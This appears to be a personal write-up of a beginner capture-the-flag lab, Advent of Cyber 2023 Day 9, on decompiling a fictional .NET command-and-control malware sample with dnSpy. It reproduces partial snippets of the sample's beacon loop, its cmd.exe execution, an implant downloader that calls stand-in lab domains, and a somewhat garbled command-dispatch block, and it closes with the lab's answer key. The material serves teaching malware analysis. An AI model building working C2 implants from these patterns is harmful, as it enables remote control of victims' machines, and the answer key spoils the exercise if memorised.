Day 9 of Advent of Cyber 2023!

Back story:

Forensic McBlue and his team found the deleted version of a malware that lets Tracy McGreedy control elves from a distance. Now, they're working to stop this mind control incident. Their plan is to get back at Tracy by examining the back-end infrastructure of the malware's control center using the malware's source code.

Learning Objectives

In this task, we will focus on the following vital learnings to assist Forensic McBlue in analysing the retrieved malware sample:

  • The foundations of analysing malware samples safely

  • The fundamentals of .NET binaries

  • The dnSpy tool for decompiling malware samples written in .NET

  • Building an essential methodology for analysing malware source code.

Malware Handling 101:

Handling malware is risky because it's software created to do bad things like causing harm, stealing information, or messing up computer systems. That's why experts use something called a "sandbox." A sandbox is like a make-believe computer that acts real but is safe. It lets experts test malware without any danger.

When experts analyze malware, they need to use a sandbox to avoid putting their real computers at risk. A good sandbox setup includes things like:

  1. Network Controls: These are like safety measures that limit and watch the network traffic the malware creates. It helps stop the malware from spreading to other parts.

  2. Virtualization: This is a fancy way of saying that the malware runs in a controlled, separate space. It's like having a play area just for the malware. Technologies like VMware or VirtualBox help with this. Experts can easily take pictures of how the malware acts, reset things, and throw away the malware safely after studying it.

  3. Monitoring and Logging: The sandbox keeps detailed records (logs) of what the malware does. It notes things like how it talks to the computer, what it changes, and how it acts on the internet. These logs are super helpful for experts to figure out what the malware is up to.

Introduction to .NET Compiled Binaries

Van Sprinkles' .NET binaries are special files containing code written in languages like C#, VB.NET, F#, or managed C++ that work with the .NET framework. These binaries can be executable files (.exe) or dynamic link libraries (DLLs with the .dll extension), and they can also be assemblies containing multiple types and resources.

Unlike some other languages like C or C++, where the code is translated directly into machine code, .NET languages, such as C#, don't do that right away. Instead, they use an intermediate language (IL), sort of like pseudocode. This IL is then translated into native machine code during runtime using the Common Language Runtime (CLR) environment.

In simpler terms, while analyzing a compiled C or C++ binary involves reading low-level assembly instructions, a C# binary can be decompiled, and its source code can be retrieved because the intermediate language contains metadata that can be converted back into its source code form.

Basic C# Programming

The retrieved malware is written in C#. So, let's quickly discuss C#'s code syntax to effectively analyze the sample.

// Example C# code snippet
using System;

class HelloWorld
{
    static void Main()
    {
        Console.WriteLine("Hello, World!");
    }
}

C2 Primer

According to Forensic McBlue, the malware sample is related to the organization's remote mind control (over C2) incident. To understand this, let's look at what C2, or command and control, means.

C2 refers to a centralized system that malicious actors use to remotely manage and control compromised devices or systems. It acts as a channel through which attackers issue commands to compromised entities, enabling them to carry out various activities, such as data theft, surveillance, or further malware propagation.

To elaborate, malware with C2 capabilities often involves behaviors like making HTTP requests to communicate with compromised assets, executing commands on the victim machine, and implementing sleep or delay functions to evade detection.

Decompiling Malware Samples With dnSpy

Now, let's get practical. Since the malware sample is written in C#, we'll use dnSpy to decompile the binary and review its source code.

dnSpy is an open-source .NET assembly debugger and editor. It allows us to reverse engineer .NET applications, analyze their code, and even modify them in a user-friendly way.

Here are the basic steps:

  1. Open dnSpy.

  2. Load the malware sample using File > Open.

  3. Change the file type to "All Files" to see the defanged version.

  4. Double-click the malware sample to load it.

  5. Navigate to the Main function, which is the entry point of the application.

Analyzing Malware Functionalities

To understand the malware, let's break down its functions:

  1. GetIt Function:

    • Uses the WebRequest class for HTTP GET requests.
// Example code snippet from GetIt function
string GetIt(string url)
{
    WebRequest request = WebRequest.Create(url);
    request.Method = "GET";
    // ... other configurations
    WebResponse response = request.GetResponse();
    // ... handling response
}
  1. PostIt Function:

    • Also uses the WebRequest class but for HTTP POST requests.
// Example code snippet from PostIt function
string PostIt(string url, string postData)
{
    WebRequest request = WebRequest.Create(url);
    request.Method = "POST";
    // ... set other properties
    // ... submit postData
    WebResponse response = request.GetResponse();
    // ... handle response
}
  1. Sleeper Function:

    • Pauses the program using Thread.Sleep.
// Example code snippet from Sleeper function
void Sleeper(int milliseconds)
{
    Thread.Sleep(milliseconds);
}
  1. ExecuteCommand Function:

    • Executes OS commands using Process class.
// Example code snippet from ExecuteCommand function
void ExecuteCommand(string command)
{
    Process process = new Process();
    process.StartInfo.FileName = "cmd.exe";
    process.StartInfo.Arguments = $"/C {command}";
    // ... other configurations
    process.Start();
    // ... wait for command to finish
}
  1. Encryptor and Decryptor Functions:

    • Deal with encryption and decryption using AES.
// Example code snippet from Encryptor function
string Encryptor(string plaintext)
{
    // AES encryption logic
    // ...
    return encryptedText;
}

// Example code snippet from Decryptor function
string Decryptor(string encryptedText)
{
    // AES decryption logic
    // ...
    return decryptedText;
}
  1. Implant Function:

    • Downloads and stores other malware.
// Example code snippet from Implant function
string Implant(string url)
{
    // ... download and store malware
    return location;
}

Building the Malware Execution Pipeline

Now, let's understand how these functions come together in the Main function:

  1. Reporting Hostname:

    • Retrieves the victim machine's hostname and reports it to the C2 server.
// Example code snippet before the for loop in Main function
string hostName = Dns.GetHostName();
string str = "http://REDACTED_C2_DOMAIN";
string url = $"{str}/reg";
string data = $"name={hostName}";
string response = Program.PostIt(url, data);
// ... other initializations
  1. Continuous Loop:

    • Enters an indefinite loop, repeatedly checking the C2 server for commands.
// Example code snippet for the for loop in Main function
for (;;)
{
    Sleeper(count);
    string url2 = $"{str}/tasks/{str2}";
    string it = Program.GetIt(url2);
    // ... other initializations
    if (!string.IsNullOrEmpty(it))
    {
        string a = Decryptor(it).Split(' ')[0];
        string text = string.Join(" ", Decryptor(it).Split(' ').Skip(1));
        // ... other initializations
    }
}
  1. Command Processing:

    • Processes commands received from the C2 server.
// Example code snippet for processing commands in Main function
if (!(a == "sleep"))
{
    if (!(a == "shell"))
    {
        if (!(a == "implant"))
        {
            if (!(a == "quit"))
            {
                // Execute specific command based on 'a'
                if (a == "sleep")
                {
                    count = int.Parse(text);
                }
                else if (a == "shell")
                {
                    // Execute OS command
                    Program.ExecuteCommand(text);
                    // Encrypt command output
                    string encryptedOutput = Program.Encryptor(output);
                    // Report encrypted output to C2 server
                    Program.PostIt(url3, encryptedOutput);
                }
                else if (a == "implant")
                {
                    // Execute Implant function
                    string implantLocation = Program.Implant(REDACTED_DOMAIN);
                    // Encrypt implant output
                    string encryptedOutput = Program.Encryptor(implantLocation);
                    // Report encrypted output to C2 server
                    Program.PostIt(url3, encryptedOutput);
                }
                else if (a == "quit")
                {
                    flag = true;

Task 1:

What HTTP User-Agent was used by the malware for its connection requests to the C2 server?

Answer: Mozilla/5.0(Macintosh; Intel Mac OS X 14_0)AppleWebKit/605.1.15 (KHTML, like Gecko)Version/17.0 Safari/605.1.15

Task 2:

What is the HTTP method used to submit the command execution output?

Answer: POST

Task 3:

What key is used by the malware to encrypt or decrypt the C2 data?

Answer: youcanthackthissupersecurec2keys

Task 4:

What is the first HTTP URL used by the malware?

Answer: mcgreedysecretc2.thm/reg

Task 5:

How many seconds is the hardcoded value used by the sleep function?

Answer: 15

Task 6:

What is the C2 command the attacker uses to execute commands via cmd.exe?

Answer:shell

Task 7:

What is the domain used by the malware to download another binary?

Answer: stash.mcgreedy.thm